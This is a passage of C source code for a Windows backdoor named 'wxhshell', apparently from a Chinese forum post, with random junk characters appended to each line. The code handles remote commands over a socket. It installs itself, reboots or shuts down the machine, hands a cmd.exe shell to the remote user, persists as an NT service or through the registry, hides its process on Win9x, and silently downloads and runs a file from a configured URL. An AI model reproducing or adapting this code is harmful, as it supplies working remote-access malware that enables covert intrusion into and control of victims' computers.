  // 帮助 K#%&0D!  
  case '?': { <Y*+|T+&d  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); $h2){*5E{  
    break; mPOGidxix  
  } K{x\4  
  // 安装 ~xA-V4.  
  case 'i': { o9|nJ;  
    if(Install()) X^T:8npxt  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (X $=Q6  
    else %zA;+s$l  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q 0$,*[PH  
    break; 2QD3&Q9  
    } 9i'jj N  
  // 卸载 ; o?-yI&T*  
  case 'r': { =[H;orMr  
    if(Uninstall()) 6TQoqH8@U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); UR%/MV  
    else ?+_Gs;DGVE  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); txJr;  
    break; 8e*,jH3  
    } @XgKYm   
  // 显示 wxhshell 所在路径 w zYzug  
  case 'p': { K0H'4' I  
    char svExeFile[MAX_PATH]; NE"@Bk cm  
    strcpy(svExeFile,"\n\r"); I3=%h  
      strcat(svExeFile,ExeFile); ge,H-8'Z  
        send(wsh,svExeFile,strlen(svExeFile),0); kY&k-K\  
    break; 'z0:Ccbj  
    } sR(9IW-  
  // 重启 1 9&<|qTz  
  case 'b': { j.C`U(n}`  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); :9O#ObFR  
    if(Boot(REBOOT)) {E p0TVj`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A'j;\ `1  
    else { 52Sa KA[  
    closesocket(wsh); 6 )Hwt_b  
    ExitThread(0); f*!j[U/r_  
    } =q>'19^Jx  
    break; >/:" D$  
    } JI?rL  
  // 关机 I, -hf=-  
  case 'd': { VLS0XKI)  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ;Yx)tWQI  
    if(Boot(SHUTDOWN)) 8}c$XmCM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?{\nf7Y  
    else { ^$%S &W  
    closesocket(wsh); M9Cv wMi  
    ExitThread(0); ZW-yP2  
    } ]=.\-K  
    break; ?i)f^O  
    } l,R/Gl  
  // 获取shell XxT#X3D/,"  
  case 's': { qd9cI&  
    CmdShell(wsh); vqnw#U4`  
    closesocket(wsh); Ipf|")*  
    ExitThread(0); !,l9@eJQ  
    break; m#8m] Y  
  } c|lu&}BS  
  // 退出 ?Y)vGlWDW<  
  case 'x': { tkVbo.[8K  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); pA`+hQNN  
    CloseIt(wsh); K\>tA)IPSV  
    break; hhSy0  
    } XUM!Qv  
  // 离开 b_,|>U  
  case 'q': { uXI_M)  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); X'wE7=29M  
    closesocket(wsh); |>27'#JC  
    WSACleanup(); V_>\ 9m  
    exit(1); ji1viv  
    break; YsG%6&zEq  
        } sC27FVwo  
  } ;>5 06jZ  
  } ^g*pGrl#  
4oK?-|=?  
  // 提示信息 .clP#r{U  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); guX 9}  
} W@T~ly;e*  
  } 9!f/aI  
uG?_< mun  
  return; $u7; TW6QD  
} wi hH?~]  
.9,zL=)Ba  
// shell模块句柄 6$fHtJD:  
int CmdShell(SOCKET sock) m*ISa(#(,  
{ ]P#XVDn+;  
STARTUPINFO si; H70LhN  
ZeroMemory(&si,sizeof(si)); 8j Mk)-  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; %dJX-sm@  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; P6E3-?4j  
PROCESS_INFORMATION ProcessInfo; bIGHGd  
char cmdline[]="cmd"; 4Yxo~ m(  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); bQE};wM,  
  return 0; k xP-,MD  
} uJOJ-5}yt  
"XB[|#&  
// 自身启动模式 0rh]]kj  
int StartFromService(void) |w_7_J2  
{ WEFlV4/  
typedef struct I{ HN67O  
{ aki _RG>U'  
  DWORD ExitStatus; tDSJpW'd  
  DWORD PebBaseAddress; Kpb#K[(]&  
  DWORD AffinityMask; >GQEqXs  
  DWORD BasePriority; L~_9_9c  
  ULONG UniqueProcessId; Ks=>K(V6  
  ULONG InheritedFromUniqueProcessId; g$( V^  
}   PROCESS_BASIC_INFORMATION; qi;f^9M%  
OH;b"]  
PROCNTQSIP NtQueryInformationProcess; D0gZC  
~ }F{vm  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ;  =Qh\D  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; NXwz$}}Pp  
W4hbK9y  
  HANDLE             hProcess; Z&0'a  
  PROCESS_BASIC_INFORMATION pbi; N U|d  
, 3,gG "  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); .^N/peU q  
  if(NULL == hInst ) return 0; @[5xq  
J%x6  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); xm%Um\Pb7  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); =jlt5 z  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); VGtC)mG8)  
&Ts-a$Z7?S  
  if (!NtQueryInformationProcess) return 0; O_$m!5ug  
zV:pQRbt.  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); &$"i,~q^b  
  if(!hProcess) return 0; W.z;B<  
!vX D  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ^ s1Q*He  
*&?c(JU;<  
  CloseHandle(hProcess); HU%o6cw  
/b]oa !  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); vLR~'" `F  
if(hProcess==NULL) return 0; q2. XoCf  
~GTz:nC*  
HMODULE hMod; u@~JiiC%  
char procName[255]; 4$qWiG~  
unsigned long cbNeeded; ELBa}h;  
,z3{u162  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); b|cyjDMAA  
~2<7ZtV=  
  CloseHandle(hProcess); ]d,S749(s  
>2~+.WePu  
if(strstr(procName,"services")) return 1; // 以服务启动 uvtF_P/  
u`y><w4i  
  return 0; // 注册表启动 J\d3N7_d  
} %FXfqF9  
)ap_Z6  
// 主模块 + ` s@  
int StartWxhshell(LPSTR lpCmdLine) #?q&r_@@  
{ j;s"q]"x]  
  SOCKET wsl; !6s"]WvF  
BOOL val=TRUE; V+Cwzc^j  
  int port=0; /DQc&.jK  
  struct sockaddr_in door; M%1}/!J3  
Q>/C*@  
  if(wscfg.ws_autoins) Install(); )N=NR2xBZ  
D<8HZ%o  
port=atoi(lpCmdLine); AK\$i$@6  
d*A*y^OD  
if(port<=0) port=wscfg.ws_port; .uyGYj-C  
RQ'exc2x0  
  WSADATA data; 6fd+Q  /  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; , #U .j  
@?=|Y  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   1U^A56CN  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); e?_@aa9~@{  
  door.sin_family = AF_INET; 70f Klp  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Vm(1G8 a  
  door.sin_port = htons(port); GDu~d<RH  
2R=DB`3  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { bhkUKxd  
closesocket(wsl); SG-'R1 J  
return 1; }:u~K;O87  
} FL(6?8zK  
(S xR`QP?,  
  if(listen(wsl,2) == INVALID_SOCKET) { Mu{;vf|j  
closesocket(wsl); Nc+,&R13m  
return 1; o4*+T8[|5  
} ;3\3q1oX  
  Wxhshell(wsl); w;k):; $  
  WSACleanup(); >Y_*%QGH_  
Jd5:{{ Lb  
return 0; A,\6nO67  
k$H%.l;E  
} '~ ,p[  
][W_[0v  
// 以NT服务方式启动 K?s+3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) FDVcow*]n  
{ l5\"9 ,<  
DWORD   status = 0; UNPezHaz  
  DWORD   specificError = 0xfffffff; 2zVJvn7  
1AG=%F|.  
  serviceStatus.dwServiceType     = SERVICE_WIN32; `}BF${vF  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; X@k`3X  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; d+X}cq=  
  serviceStatus.dwWin32ExitCode     = 0; Kw8u`$Ad7  
  serviceStatus.dwServiceSpecificExitCode = 0; A|L8P  
  serviceStatus.dwCheckPoint       = 0; slg ]#Dy  
  serviceStatus.dwWaitHint       = 0; HPb]Zj  
,$'])A?$  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Ps%qfL\  
  if (hServiceStatusHandle==0) return; Ga#:P F0  
/e]'u&a  
status = GetLastError(); 9cEv&3  
  if (status!=NO_ERROR) F>]m3(  
{ Mk=mT3=#  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; %g1,N k  
    serviceStatus.dwCheckPoint       = 0; ^ <Pq,u%k  
    serviceStatus.dwWaitHint       = 0; YnxRg  
    serviceStatus.dwWin32ExitCode     = status; ]8icBneA~'  
    serviceStatus.dwServiceSpecificExitCode = specificError; ,y+$cM(  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); :JfE QIN  
    return; DXa=|T  
  } 0 ;b[QRmy  
Q$:![}[(  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ow0!%|fO  
  serviceStatus.dwCheckPoint       = 0; rS4@1`/R  
  serviceStatus.dwWaitHint       = 0; vG;zJ#c  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); AC;V m: @{  
} '@jXbN  
+hE(Ra#  
// 处理NT服务事件,比如:启动、停止 hSFn8mpXT  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ax{ ;:fW  
{ _~rI+lA  
switch(fdwControl) RRGWC$>?  
{ ]J:1P`k.  
case SERVICE_CONTROL_STOP: W?eu!wL#p  
  serviceStatus.dwWin32ExitCode = 0; }~"hC3w  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; x_c7R;C  
  serviceStatus.dwCheckPoint   = 0; %I-+Ead0i  
  serviceStatus.dwWaitHint     = 0; rAs,X  
  { QHWBAGA  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Pb8^ b  
  } $<^u^q37u  
  return; =QK$0r]c'k  
case SERVICE_CONTROL_PAUSE: wMdal:n^  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; GrTulN?  
  break; `)T~psT  
case SERVICE_CONTROL_CONTINUE: :=8t"rO=W  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; em\ 9'L^  
  break; Ea?XT&,  
case SERVICE_CONTROL_INTERROGATE: W -  
  break; a)S+8uU  
}; ]~6_WE8L  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $Bj;D=d@V  
} -s|}Rh?Y  
&Ch#-CUE/  
// 标准应用程序主函数 jL^](J>  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) OM|Fwr$  
{ E@-KGsdhK  
%e`$p=m  
// 获取操作系统版本 5Q 'i2*j  
OsIsNt=GetOsVer(); >[ Ye  
GetModuleFileName(NULL,ExeFile,MAX_PATH); sf]s",t~J  
\EKU*5\Hp>  
  // 从命令行安装 CBDG./  
  if(strpbrk(lpCmdLine,"iI")) Install(); {5d9$v7k4  
Xe#K{gA  
  // 下载执行文件 (`6T&>(4  
if(wscfg.ws_downexe) { 9elga"4:'  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) OKi\zS  
  WinExec(wscfg.ws_filenam,SW_HIDE); vTaJqEE  
} $b<6y/"  
=xsTDjH>  
if(!OsIsNt) { ovwQ2TuK  
// 如果时win9x,隐藏进程并且设置为注册表启动 GEEW?8  
HideProc(); uA$<\fnz  
StartWxhshell(lpCmdLine); m85WA # `  
} =) E,8L  
else f8SL3+v  
  if(StartFromService()) Dk+&X-]6x5  
  // 以服务方式启动 u5~Ns&o&N  
  StartServiceCtrlDispatcher(DispatchTable); xS7$%w['  
else h.!}3\Y  
  // 普通方式启动 Gcb|W&  
  StartWxhshell(lpCmdLine); H*bs31i{  
ALEnI@0  
return 0; ?d4m!HgR   
}
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只看该作者 1 发表于: 2006-10-10
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